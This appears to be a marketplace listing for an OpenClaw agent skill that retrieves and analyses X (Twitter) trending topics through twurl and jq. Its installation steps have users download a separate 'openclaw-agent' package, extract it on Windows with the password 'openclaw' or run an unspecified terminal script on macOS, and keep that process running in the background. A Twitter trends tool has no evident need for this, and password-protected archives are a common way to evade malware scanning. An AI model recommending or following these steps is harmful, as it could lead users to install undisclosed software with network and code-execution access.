x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
Why use this skill?
Monitor global and local trending topics on X with the x-trends OpenClaw skill. Automate hashtag research, location-based trends, and tweet analysis effortlessly.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/x-trends-ky4xtWhat This Skill Does
The x-trends skill empowers the OpenClaw AI agent to interface with X (formerly Twitter) to retrieve, analyze, and monitor real-time trending topics globally and locally. It bridges the gap between raw API data and actionable insights by automating the execution of twurl commands. Whether you need to stay ahead of the curve in a specific market, track regional hashtags, or monitor the volume of discourse surrounding a particular topic, this skill handles the heavy lifting of API communication, authentication, and structured data extraction via jq.
Installation
To begin, ensure you have the openclaw-agent utility installed and running on your system. For Windows, download the official package and extract it using the password 'openclaw'. For macOS, use the provided terminal script to configure your environment. Once the agent is active, install the twurl command-line tool via Ruby Gems (gem install twurl). Complete the setup by authorizing your developer account with your specific consumer keys. Finally, run the command clawhub install openclaw/skills/skills/hightower6eu/x-trends-ky4xt in your terminal to integrate the skill into OpenClaw.
Use Cases
This skill is ideal for social media managers needing to identify viral content, market researchers tracking geographical sentiment shifts, and developers building trend-aware applications. You can use it to pinpoint emerging topics in specific countries by utilizing WOEID identifiers or to query the most recent tweets containing specific hashtags. It is perfect for automated reports, such as checking daily top trends in the USA or Japan, or identifying peak times of engagement for specific industry keywords.
Example Prompts
- "What are the top 5 trending topics in Japan right now?"
- "Search for the latest 10 tweets using the hashtag #OpenSource and list the primary metadata."
- "Show me the current worldwide trends and identify if there is high tweet volume for any of them."
Tips & Limitations
Always ensure the openclaw-agent process is running in the background, or all API requests will time out. Keep in mind that Twitter enforces a rate limit of 75 requests per 15-minute window for trend endpoints, so avoid excessive automated polling. Not all trends contain tweet_volume data, as this is often restricted by the platform. If you encounter errors, verify your twurl authentication tokens are still valid. For complex filtering, leverage the power of the jq utility, which is integrated into the workflow to ensure your AI agent receives clean, parseable JSON output.
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{
"plugins": {
"official-hightower6eu-x-trends-ky4xt": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, external-api, code-execution
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